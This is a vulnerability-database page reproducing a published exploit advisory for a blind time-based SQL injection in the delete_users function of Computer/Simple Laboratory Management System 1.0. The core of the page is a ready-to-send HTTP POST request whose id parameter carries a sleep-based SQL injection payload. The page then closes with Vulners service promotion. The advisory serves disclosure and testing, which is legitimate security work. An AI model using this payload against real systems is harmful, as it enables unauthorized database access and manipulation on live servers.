Lucene search
K

Simple Laboratory Management System 1.0 SQL Injection

🗓️ 01 Jul 2024 00:00:00Reported by Smitha BhabalType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 260 Views

Simple Laboratory Management System 1.0 SQL Injection vulnerability in delete_users functio

Code
`# Exploit Title: Simple Laboratory Management System - Manual Blind Time Based SQL Injection  
# Exploit Description: A SQL Injection vulnerability in Computer Laboratory Management System v1.0 allows attackers to execute arbitrary SQL commands on the database server which causes the services to delay in response time.  
# Affected Asset: The "delete_users" function in Users.php inside the Computer Laboratory Management System v1.0 application is vulnerable to Blind Time Based SQL Injection.  
# Exploit Author: Smitha Bhabal  
# Date: 2024-06-30  
# Vendor Homepage: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lms.zip  
# Version: 1.0  
# Tested On: Windows 11 Home 22631.3737 + XAMPP 3.3.0 (April 6th 2021)  
# Reference: https://github.com/payloadbox/sql-injection-payload-list  
  
  
POST /php-lms/classes/Users.php?f=delete HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Connection: keep-alive  
Cookie: PHPSESSID=1bfs2uc82iaorimhamvfj2qi6u  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: none  
Sec-Fetch-User: ?1  
DNT: 1  
Sec-GPC: 1  
Priority: u=1  
Content-Length: 45  
Content-Type: application/x-www-form-urlencoded  
  
id=(select%20*%20from%20(select(sleep(20)))a)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation